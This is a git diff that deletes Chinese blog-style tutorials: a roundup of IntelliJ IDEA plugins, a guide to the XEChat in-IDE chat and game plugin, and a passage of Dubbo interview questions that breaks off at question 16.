教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/ide/shenji-chajian-10.md b/docs/src/ide/shenji-chajian-10.md deleted file mode 100644 index 05a0b3f674..0000000000 --- a/docs/src/ide/shenji-chajian-10.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: 装了我这 10 个 IDEA 神级插件后,同事也开始情不自禁的嘚瑟了 -shortTitle: 10个可以一站式开发的IDEA神级插件 -category: - - 开发/构建工具 -tag: - - IDEA -description: 装了我这 10 个 IDEA 神级插件后,同事也开始情不自禁的嘚瑟了 -head: - - - meta - - name: keywords - content: Intellij IDEA,IDEA,IDEA插件 ---- - -昨天,有球友私信发我一篇文章,说里面提到的 Intellij IDEA 插件真心不错,基本上可以一站式开发了,希望能分享给更多的小伙伴,我在本地装了体验了一下,觉得确实值得推荐,希望小伙伴们有时间也可以尝试一下。 - -## Vuesion Theme - -颜值是生产力的第一要素,IDE 整好看了,每天对着它也是神清气爽,有木有?就 Intellij IDEA 提供的暗黑和亮白主色,虽然说已经非常清爽了,但时间久了总觉得需要再来点新鲜感? - -Vuesion Theme 这个主题装上后,你会感觉整个 Intellij IDEA 更高级了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-453b5107-9713-4028-9a91-347025c9410f.png) - - -安装完插件就立马生效了,瞧这该死的漂亮,整个代码着色,以及文件的图标,都更炫酷了: - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-6f499db7-f460-4fb9-a3b3-182de1b22cad.png) - -当然了,主题这事,萝卜白菜各有所爱,就像玩 dota,我就喜欢露娜。 - -## lombok - -可能提到 lombok,多多少少有些争议,但不得不说,这玩意的确是很能省代码,并且很多开源的第三方 jar 包,以及 Intellij IDEA 2020.3 以后的版本也都默认加了 lombok。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-6a158d96-924a-42af-94bd-92690f4e7b7e.png) - -这么多注解可以选择,在写 VO、DO、DTO 的时候是真的省心省力。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-c07c2c25-8bdd-49af-a75a-0d13cc503113.png) - -如果没有 lombok 的帮助,那整个代码就要炸了呀。对比一下,是不是感受还挺明显的? - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-094ac20f-992a-42ee-849a-24153a1ec760.png) - -当然了,要使用 lombok,你得在 pom.xml 文件中引入 lombok 的依赖包。 - -``` - - org.projectlombok - lombok - -``` - - -## File Expander - -这个插件不仅可以反编译,还可以打开 tar.gz,zip 等压缩文件, - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-94bac623-9591-43c5-83c7-c304ac45fb49.png) - - -如果有小伙伴反驳说自己不装插件也可以打开 jar 包里的代码,那是因为你的 jar 在 classpath。如果单独打开一个 jar 包,不装插件是看不了的。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-c49b250b-ff8d-4ca2-82d8-84472010c557.png) - - -## GitToolBox - -如果你经常使用 Git 提交代码的话,这款插件就非常的爽。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-ea841008-baae-4c53-a3a5-1b97b5bf5176.png) - - -它能直接提示你远程版本库里有多少文件更新,你有多少文件没有提交到版本库,甚至可以显示上一次提交的时间和版本更新者。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-2c544302-f0ea-430d-92b8-0f3fa005d08f.png) - - -## Maven Helper - -这插件几乎人手一个了吧,Java 后端开发必备啊。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-24ae1cc3-39e6-49c4-ae3a-0a65702dbcac.png) - - -依赖可视化的神器,可以很清楚地知道依赖的关系图谱,假如有冲突的话,也是一目了然。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-c686101c-6b28-4e79-9f19-ccf2ab53dab9.png) - - -## Translation - -对于英文能力差的同学来说,这个翻译插件简直神了,它支持 Google 翻译、有道翻译、百度翻译、Alibaba 翻译。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-3ceec7b1-49ee-4971-85e3-219f5c0dbb6f.png) - - -刚好写这篇内容的时候,发现最新的版本是 3.3.5,趁机升级一波。有了这款翻译插件,看源码绝对是爽歪歪。以前遇到不认识的单词,真的是好烦,还要切到翻译软件那里查,现在可好,单词翻译、文档翻译、注释翻译,都有了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-800e726d-9b04-4375-a795-854e3b290f94.png) - - -## arthas idea - -Arthas 应该大家都很熟悉了,阿里开源的一款强大的 java 在线诊断工具。 - -但如果每次都要你输入一长串命令的话,相信你也会很崩溃,尤其是很多时候我还记忆模糊,很多记不住。这款插件刚好解决了我这个烦恼,极大地提高了生产力 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-29babf1c-45fa-4d85-8207-f4ceb223a6dc.png) - -使用起来也非常方便,直接进入你要诊断的方法和类,右键选择对应的命令,就会自动帮你生成了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-1149d6f7-8adb-4ccb-a2cf-20a6b5be7857.png) - - -## Free Mybatis plugin - -Mybatis 基本上是目前最主流的 ORM 框架了,相比于 hibernate 更加灵活,性能也更好。所以我们一般在 Spring Boot 项目中都会写对应的 mapper.java 和 mapper.xml。 - -那有了这款插件之后,两者就可以轻松关联起来。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-3767a506-85bf-4d8e-b6b8-29ab70702e53.png) - -比如,我这里要查看 ArticleMapper 的 xml,那么编辑器的行号右侧就会有一个向右的→,直接点击就跳转过去了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-41788473-f585-4a0f-916c-dc2e774960ae.png) - -想跳转回来的话,也是同样的道理,所以有了这款产检,mapper 和 xml 之间就可以自由切换了,丝滑。 - - - -## VisualGC - -这里给大家推荐一个 JVM 堆栈可视化工具,可以和 Intellij IDEA 深度集成——VisualGC。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-d0afa431-cd7d-4730-92c7-34ad4cdd5704.png) - -当我们需要监控一个进程的时候,直接打开 VisualGC面板,就可以查看到堆栈和垃圾收集情况,可以说是一目了然。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-1a756f1a-fce4-4244-9e7b-77fb7473b1c6.png) - - -## CheckStyle-IDEA - -如果你比较追求代码规范的话,可以安装这个插件,它会提醒你注意无用导入、注释、语法错误❎、代码冗余等等。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-b55087c6-7210-4e88-9327-cc277db44c03.png) - -在 CheckStyle 面板中,你可以选择 Google 代码规范或者 sun 的代码规范,跑一遍检查,就可以看到所有的修改建议了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/shenji-chajian-10-7a095a0a-cae8-4a7a-a023-11f7e1abc5d7.png) - - -## 最后 - -以上这 10 款 Intellij IDEA 插件也是我平常开发中经常用到的,如果大家有更好更效率的插件,也可以评论里留言。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-rumrabbitmqzypjdg-53717e59-63c9-44bd-99d3-dd2c26fe68bb.png) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/ide/xechat.md b/docs/src/ide/xechat.md deleted file mode 100644 index 5279161a92..0000000000 --- a/docs/src/ide/xechat.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: 分享 1 个可以在 IDEA 里下五子棋的插件 -shortTitle: 1个可以在IDEA里下五子棋的插件 -category: - - 开发/构建工具 -tag: - - IDEA -description: 在 IDEA 里下个五子棋不过分吧? -head: - - - meta - - name: keywords - content: Intellij IDEA,IDEA,IDEA插件 ---- - - -大家好,我是二哥呀!今天给大家分享一个基于Netty的IDEA即时聊天插件,可以实现即时聊天、游戏对战(下棋)。 - ->GitHub 地址:[https://github.com/anlingyi/xechat-idea](https://github.com/anlingyi/xechat-idea) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-b39a3088-d4aa-47b0-984d-875eb34cd82d.png) - -## 安装体验 - -打开 Intellij IDEA,依次 `Preference > Plugins > 设置按钮 > Manage Plugin Repositories...` 添加 XEChat-Idea 插件库。 - ->地址:[http://plugins.xeblog.cn](http://plugins.xeblog.cn) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-a6259f78-ded1-4aa9-aa35-3b7bc3ad823b.png) - -之后搜索关键字「xechat」安装插件。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-4169833e-5ed6-47f5-8e8c-03ea92400bc9.png) - -重启 Intellij IDEA 后在右下角找到 xechat 面板。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-a03023a2-0a7b-42d5-8fd6-67c494ef83b3.png) - -## 功能介绍 - -第一次打开后,会提示对应命令。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-0de879be-2a64-4c85-b9ee-e92500a0a907.png) - -输入 `#login 沉默王二` 就可以登录了。 之后就可以把天聊起来了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-020bfafc-8874-4fda-a9a0-b9ac9d628234.png) - -使用复制粘贴还可以发送图片,虽然体验比较迟钝,延迟比较高,但真的是**又不是不能用**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-5570fa5f-88d3-4f4f-882b-89a30bb9ef19.png) - -## 开始游戏 - -输入 `#showGame` 可以查看支持的游戏,目前支持五子棋、斗地主两种游戏。 - -输入 `#play 0` 开启五子棋启动面板。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-aff1ec60-b56e-4ab2-8e2f-237160eeb68c.png) - -卧槽,第一局竟然输了! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-bca643f7-8615-4c12-ab05-f65600fbcfde.png) - -我太菜了,要怪只能怪作者设置的这个棋盘设置得太小了,竟然布局不能调整,哼。 - -呵呵呵,果不其然,放大以后再来一盘,稳稳赢了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-529c038d-d4a2-43fa-90f9-827648ebf6f7.png) - -嘿嘿,果然爽。 - -## 部署服务端 - -直接在 Intellij IDEA 中运行 xechat 插件的话,是共享的 xechat 的服务器,这不,竟然遇到了作者,竟然还是二哥的读者。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-45ff0d90-c777-47b9-8b18-b26c44e4c3f1.png) - -想要自己在本地把服务跑起来也很简单,从 GitHub 仓库把源代码拉到本地。 - -先进入 xechat-commons 包执行 `mvn install`,公共模块需优先打包。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-490a3ed3-628a-47a9-b262-c0bff8259f89.png) - -再进入 xechat-server 包执行 `mvn package` 打包。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-f6611304-1293-4ad2-97a5-9a685fc64575.png) - -之后执行 `java -jar target/xechat-server-xxx.jar -p 1024` 运行服务端。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-8f2524b0-dfaf-43ff-be3b-b71763ffcdcf.png) - -再次进入 Intellij IDEA 的 xechat 面板,输入 `#login -h 127.0.0.1 -p 1024` 就可以连上本地服务了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-0df4b0c3-dfae-4b15-9f0b-ff0b9326e0bc.png) - -OK,搞定。 - -## 学习源码 - -之前有小伙伴问我 JavaSE 部分的源码有没有推荐的,那这个 xechat 就是非常不错的选择。 - -我 down 到本地看了一下,代码整体来说还是非常优秀的,尤其是 Netty 部分,是非常值得参考和借鉴的。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/ide/xechat-1d8e2c9f-14d9-486d-939f-75643d896a59.png) - -可以直接从 main 方法开始,一路 debug 下去看一看,我觉得是一个挺不错的选择。 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/interview/dubbo-17.md b/docs/src/interview/dubbo-17.md deleted file mode 100644 index f76c4d985f..0000000000 --- a/docs/src/interview/dubbo-17.md +++ /dev/null @@ -1,334 +0,0 @@ ---- -title: 17 道 Dubbo 精选面试题👍 -shortTitle: 17 道 Dubbo 精选面试题👍 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,17 道 Dubbo 精选面试题👍 -head: - - - meta - - name: keywords - content: dubbo,面试题,八股文 ---- - -**目录** - -- 1.Dubbo 是什么?RPC 又是什么? -- 2\. Dubbo 能做什么? -- 3.能说下 Dubbo 的总体的调用过程吗? -- 4.说说 Dubbo 支持哪些协议,每种协议的应用场景和优缺点 -- 5.Dubbo 中都用到哪些设计模式? -- 6.如果 Dubbo 中 provider 提供的服务由多个版本怎么办? -- 7.服务暴露的流程是怎么样的? -- 8.服务引用的流程是怎么样的? -- 9.Dubbo 的注册中心有哪些? -- 10.聊聊 Dubbo SPI 机制? -- 11.Dubbo 的 SPi 和 JAVA 的 SPI 有什么区别? -- 12.有哪些负载均衡策略? -- 13.集群容错方式有哪些? -- 14.说说 Dubbo 的分层? -- 15.服务提供者能实现失效踢出是什么原理? -- 16.为什么要通过代理对象通信?? -- 17.怎么设计一个 RPC 框架? - ---- - -## 1.Dubbo 是什么?RPC 又是什么? - -**Dubbo 是一个分布式服务框架**,致力于提供高性能和透明化的 RPC 远程服务调用方案,以及 SOA 服务治理方案。 - -> **RPC(Remote Procedure Call)**—远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底>层网络技术的协议。RPC 协议假定某些传输协议的存在,如 TCP 或 UDP,为通信程序之间携带信息数据。在 OSI 网络>通信模型中,RPC 跨越了传输层和应用层。RPC 使得开发包括网络分布式多程序在内的应用程序更加容易。RPC 采用客户机/服务器模式。请求程序就是一个客户机,而服务提供程序就是一个服务器。首先,客户机调用进程发>送一个有进程参数的调用信息到服务进程,然后等待应答信息。在服务器端,进程保持睡眠状态直到调用信息到达为>止。当一个调用信息到达,服务器获得进程参数,计算结果,发送答复信息,然后等待下一个调用信息,最后,客户>端调用进程接收答复信息,获得进程结果,然后调用执行继续进行。有多种 RPC 模式和执行。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-30098e26-c2c6-463b-bdb8-4cec95a9b6f8.jpg) - -我们用一种通俗易懂的语言解释它,**远程调用就是本地机器调用远程机器的一个方法,远程机器返回结果的过程**。 - -**为什么要这么做?** - -主要原因是由于单台服务的性能已经无法满足我们了,在这个流量剧增的时代,只有**多台服务器**才能支撑起来现有的用户体系, - -而在这种体系下,服务越来越多,逐渐演化出了现在这种微服务化的 RPC 框架。 - ---- - -## 2\. Dubbo 能做什么? - -Dubbo 的核心功能主要包含: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-78d6db3f-70c7-4ebb-90cb-5b731e77019e.jpg) - - - -1. **远程通讯:dubbo-remoting**模块, 提供对多种基于长连接的 NIO 框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。 - - - -2. **集群容错**: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。 - - - -3. **自动发现**: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。 - - -## 3.能说下 Dubbo 的总体的调用过程吗? - -调用过程图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-4814068d-19cc-42d9-b9bc-26c4c063c8c2.jpg) - -- 1.Proxy 持有一个 Invoker 对象,**使用 Invoker 调用** -- 2.之后通过**Cluster 进行负载容错**,失败重试 -- 3.调用 Directory**获取远程服务的 Invoker**列表 -- 4.负载均衡 - - 用户**配置了路由规则**,则根据路由规则过滤获取到的 Invoker 列表 - - 用户没**有配置路由规则或配置路由后还有很多节点**,则使用 LoadBalance 方法做负载均衡,选用一个可以调用的 Invoker -- 5.**经过一个一个过滤器链**,通常是处理上下文、限流、计数等。 -- 6.会**使用 Client 做数据传输** -- 7.**私有化协议的构造**(Codec) -- 8.进行**序列化** -- 9.服务端收到这个 Request 请求,将其**分配到 ThreadPool**中进行处理 -- 10.**Server 来处理这些 Request** -- 11.根据**请求查找对应的 Exporter** -- 12.之后**经过**一个服务提供者端的**过滤器链** -- 13.然后找到接口实现并**真正的调用**,将请求结果返回 - - -## 4.说说 Dubbo 支持哪些协议,每种协议的应用场景和优缺点 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-1f4771de-fad0-410c-a764-c173146dd6d7.jpg) - -- **1.dubbo** 单一长连接和 NIO 异步通讯,适合大并发小数据量的服务调用,以及消费者远大于提供者。传输协议 TCP,异步,Hessian 序列化 -- **2.rmi** 采用 JDK 标准的 rmi 协议实现,传输参数和返回参数对象需要实现 Serializable 接口,使用 java 标准序列化机制,使用阻塞式短连接,传输数据包大小混合,消费者和提供者个数差不多,可传文件,传输协议 TCP。多个短连接,TCP 协议传输,同步传输,适用常规的远程服务调用和 rmi 互 操作。在依赖低版本的 Common-Collections 包,java 序列化存在安全漏洞 -- **3.webservice** 基于 WebService 的远程调用协议,集成 CXF 实现,提供和原生 WebService 的互操作。多个短连接,基于 HTTP 传输,同步传输,适用系统集成和跨语言调用; -- **4.http** 基于 Http 表单提交的远程调用协议,使用 Spring 的 HttpInvoke 实 现。多个短连接,传输协议 HTTP,传入参数大小混合,提供者个数多于消 费者,需要给应用程序和浏览器 JS 调用 -- **5.hessian** 集成 Hessian 服务,基于 HTTP 通讯,采用 Servlet 暴露服务,Dubbo 内嵌 Jetty 作为服务器时默认实现,提供与 Hession 服务互操作。多个短连接,同步 HTTP 传输,Hessian 序列化,传入参数较大,提供者大于消费者,提供者压力较大,可传文件; -- **6.memcache** 基于 memcached 实现的 RPC 协议 -- **7.redis** 基于 redis 实现的 RPC 协议 - - -## 5.Dubbo 中都用到哪些设计模式? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-c33e9fa1-e1da-4701-ac97-3fb9d32d87d1.jpg) - -### **责任链模式**: - -责任链模式在 Dubbo 中发挥的作用举足轻重,就像是 Dubbo 框架的骨架。Dubbo 的调用链组织是用责任链模式串连起来的。责任链中的每个节点实现 Filter 接口,然后由 ProtocolFilterWrapper,将所有 Filter 串连起来。Dubbo 的许多功能都是通过 Filter 扩展实现的,比如监控、日志、缓存、安全、telnet 以及 RPC 本身都是。 - -### **观察者模式**: - -Dubbo 中使用观察者模式最典型的例子是 RegistryService。消费者在初始化的时候回调用 subscribe 方法,注册一个观察者,如果观察者引用的服务地址列表发生改变,就会通过 NotifyListener 通知消费者。此外,Dubbo 的 InvokerListener、ExporterListener 也实现了观察者模式,只要实现该接口,并注册,就可以接收到 consumer 端调用 refer 和 provider 端调用 export 的通知。 - -### **修饰器模式**: - -Dubbo 中还大量用到了修饰器模式。比如 ProtocolFilterWrapper 类是对 Protocol 类的修饰。在 export 和 refer 方法中,配合责任链模式,把 Filter 组装成责任链,实现对 Protocol 功能的修饰。其他还有 ProtocolListenerWrapper、 ListenerInvokerWrapper、InvokerWrapper 等。 - -### **工厂方法模式**: - -CacheFactory 的实现采用的是工厂方法模式。CacheFactory 接口定义 getCache 方法,然后定义一个 AbstractCacheFactory 抽象类实现 CacheFactory,并将实际创建 cache 的 createCache 方法分离出来,并设置为抽象方法。这样具体 cache 的创建工作就留给具体的子类去完成。 - -### **抽象工厂模式**: - -ProxyFactory 及其子类是 Dubbo 中使用抽象工厂模式的典型例子。ProxyFactory 提供两个方法,分别用来生产 Proxy 和 Invoker(这两个方法签名看起来有些矛盾,因为 getProxy 方法需要传入一个 Invoker 对象,而 getInvoker 方法需要传入一个 Proxy 对象,看起来会形成循环依赖,但其实两个方式使用的场景不一样)。AbstractProxyFactory 实现了 ProxyFactory 接口,作为具体实现类的抽象父类。然后定义了 JdkProxyFactory 和 JavassistProxyFactory 两个具体类,分别用来生产基于 jdk 代理机制和基于 javassist 代理机制的 Proxy 和 Invoker。 - -### **适配器模式**: - -为了让用户根据自己的需求选择日志组件,Dubbo 自定义了自己的 Logger 接口,并为常见的日志组件(包括 jcl, jdk, log4j, slf4j)提供相应的适配器。并且利用简单工厂模式提供一个 LoggerFactory,客户可以创建抽象的 Dubbo 自定义 Logger,而无需关心实际使用的日志组件类型。在 LoggerFactory 初始化时,客户通过设置系统变量的方式选择自己所用的日志组件,这样提供了很大的灵活性。 - -### **代理模式**: - -Dubbo consumer 使用 Proxy 类创建远程服务的本地代理,本地代理实现和远程服务一样的接口,并且屏蔽了网络通信的细节,使得用户在使用本地代理的时候,感觉和使用本地服务一样。 - - -## 6.如果 Dubbo 中 provider 提供的服务由多个版本怎么办? - -可以直接通过 Dubbo 配置中的 version 版本来控制多个版本即可。 - -比如: - -``` - - -``` - -老版本 version=1.0.0, 新版本 version=1.0.1 - - - -## 7.服务暴露的流程是怎么样的? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-8203dc1c-927f-45d0-83fd-6a94e3283121.jpg) - -1.通过 ServiceConfig 解析标签,创建 dubbo 标签解析器来**解析 dubbo 的标签**,容器创建完成之后,**触发 ContextRefreshEvent 事件回调开始暴露服务** - -2.通过 proxyFactory.getInvoker 方法,并利用**javassist 或 DdkProxyFactory 来进行动态代理**,将服务暴露接口**封装成 invoke**r 对象,里面包含了需要执行的方法的对象信息和具体的 URL 地址。 - -3.再通过 DubboProtocol 的实现把包装后的**invoker 转换成 exporter**, - -4.然后**启动服务器 server**,监听端口 - -5.最后 RegistryProtocol 保存 URL 地址和 invoker 的映射关系,同时**注册到服务中心** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-4fa2fafb-1087-4fd7-b963-4a094eb1f3a9.jpg) - - -## 8.服务引用的流程是怎么样的? - -1.首先客户端根据 config 文件信息从注册中心**订阅服务**,首次会全量**缓存到本地**,后续的更新会监听动态更新到本地。 - -2.之后 DubboProtocol**根据 provider**的地址和接口信息**连接到服务端**server,**开启客户端 clien**t,然后创建 invoker - -3.之后通过 invoker 为服务接口**生成代理对象**,这个代理对象用于远程调用 provider,至此完成了服务引用 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-f42fb83d-478d-4305-9191-1e6e871409ea.jpg) - - -## 9.Dubbo 的注册中心有哪些? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-0d76630a-d90b-4ecc-8727-8769ad80fa4e.jpg) - -Zookeeper、Redis、Multicast、Simple 等都可以作为 Dubbo 的注册中心 - - - -## 10.聊聊 Dubbo SPI 机制? - -SPI(Service Provider Interface),是一种**服务发现机制**,其实就是将结构的实现类写入配置当中,在服务加载的时候将配置文件独处,加载实现类,这样就可以在运行的时候,**动态的帮助接口替换实现类**。 - -Dubbo 的 SPI 其实是对 java 的 SPI 进行了一种增强,可以按需加载实现类之外,增加了 IOC 和 AOP 的特性,还有**自适应扩展**机制。 - -SPI 在 dubbo 应用很多,包括协议扩展、集群扩展、路由扩展、序列化扩展等等。 - -Dubbo 对于文件目录的配置分为了**三类**。 - -- 1.META-INF/services/ 目录:该目录下的 SPI 配置文件是为了用来兼容 Java SPI 。 - -- 2.META-INF/dubbo/ 目录:该目录存放用户自定义的 SPI 配置文件。 - -``` -key=com.xxx.xxx -``` - -- 3.META-INF/dubbo/internal/ 目录:该目录存放 Dubbo 内部使用的 SPI 配置文件。 - - -## 11.Dubbo 的 SPi 和 Java 的 SPI 有什么区别? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-9944f8d5-5a58-4896-8604-06b873fc7e3c.jpg) - -**Java Spi** - -- Java SPI 在查找扩展实现类的时候遍历 SPI 的配置文件并且将实现类**全部实例化** - -**Dubbo Spi** - -- 1,对 Dubbo 进行扩展,不需要改动 Dubbo 的源码 -- 2,延迟加载,可以一次**只加载自己想要加载的**扩展实现。 -- 3,增加了对扩展点 IOC 和 AOP 的支持,一个扩展点可以直接 setter 注入其它扩展点。 -- 4,Dubbo 的扩展机制能很好的支持第三方 IoC 容器,默认支持 Spring Bean。 - - - -## 12.有哪些负载均衡策略? - -**1.加权随机**:比如我们有三台服务器\[A, B, C\],给他们设置权重为\[4, 5, 6\],然后讲这三个数平铺在水平线上,和为 15。 - -然后在 15 以内生成一个随机数,0 ~ 4 是服务器 A,4 ~ 9 是服务器 B,9 ~ 15 是服务器 C - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-bd11d3ec-5d87-417e-bca0-70241e1fc065.jpg) - -**2.最小活跃数**:每个服务提供者对应一个活跃数 active,初始情况下,所有服务提供者活跃数均为 0。每收到一个请求,活跃数加 1,完成请求后则将活跃数减 1。在服务运行一段时间后,性能好的服务提供者处理请求的速度更快,因此活跃数下降的也越快,此时这样的服务提供者能够优先获取到新的服务请求。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-9eb04922-b0c8-4f49-8839-902fc97cc2ed.jpg) - -**3.一致性 hash**: - -- 首先求出 memcached 服务器(节点)的哈希值,并将其配置到 0 ~ 2 的 32 次方的圆(continuum)上。 -- 然后采用同样的方法求出存储数据的键的哈希值,并映射到相同的圆上。 -- 然后从数据映射到的位置开始顺时针查找,将数据保存到找到的第一个服务器上。如果超过 2 的 32 次方仍然找不到服务器,就会保存到第一台 memcached 服务器上。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-be1ef6ba-f24d-4fd6-adc6-8b7cc086f66b.jpg) - -**4.加权轮询**:比如我们有三台服务器\[A, B, C\],给他们设置权重为\[4, 5, 6\],那么假如总共有 15 次请求,那么会有 4 次落在 A 服务器,5 次落在 B 服务器,6 次落在 C 服务器。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-e9d2dd09-4d2a-4c43-8920-eac89c6341bc.jpg) - - -## 13.集群容错方式有哪些? - -1.**Failover Cluster 失败自动切换**:dubbo 的默认容错方案,当调用失败时自动切换到其他可用的节点,具体的重试次数和间隔时间可用通过引用服务的时候配置,默认重试次数为 1 是只调用一次。 - -2.**Failback Cluster 失败自动恢复**:在调用失败,记录日志和调用信息,然后返回空结果给 consumer,并且通过定时任务每隔 5 秒对失败的调用进行重试 - -3.**Failfast Cluster 快速失败**:只会调用一次,失败后立刻抛出异常 - -4.**Failsafe Cluster 失败安全**:调用出现异常,记录日志不抛出,返回空结果 - -5.**Forking Cluster 并行调用多个服务提供者**:通过线程池创建多个线程,并发调用多个 provider,结果保存到阻塞队列,只要有一个 provider 成功返回了结果,就会立刻返回结果 - -6.**Broadcast Cluster 广播模式**:逐个调用每个 provider,如果其中一台报错,在循环调用结束后,抛出异常。 - -## 14.说说 Dubbo 的分层? - -分层图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-0c120220-d8be-4180-8694-3787446e1daa.jpg) - -从大的范围来说,dubbo 分为三层 - -- **business**业务逻辑层由我们自己来提供接口和实现还有一些配置信息 -- **RPC**层就是真正的 RPC 调用的核心层,封装整个 RPC 的调用过程、负载均衡、集群容错、代理 -- **remoting**则是对网络传输协议和数据转换的封装。 - -Service 和 Config 两层可以认为是**API**层,主要提供给**API 使用者**,使用者只需要配置和完成业务代码就可以了。 - -后面所有的层级是**SPI**层,主 要提供给扩展者使用主要是用来做**Dubbo 的二次开发**扩展功能。 - -再划分到更细的层面,就是图中的 10 层模式。 - - -## 15.服务提供者能实现失效踢出是什么原理? - -服务失效踢出基于**Zookeeper 的临时节点**原理。 - -Zookeeper 中节点是有生命周期的,具体的生命周期取决于节点的类型,节点主要分为**持久节点**(Persistent)和**临时节点**(Ephemeral) 。 - - -## 16.为什么要通过代理对象通信?? - 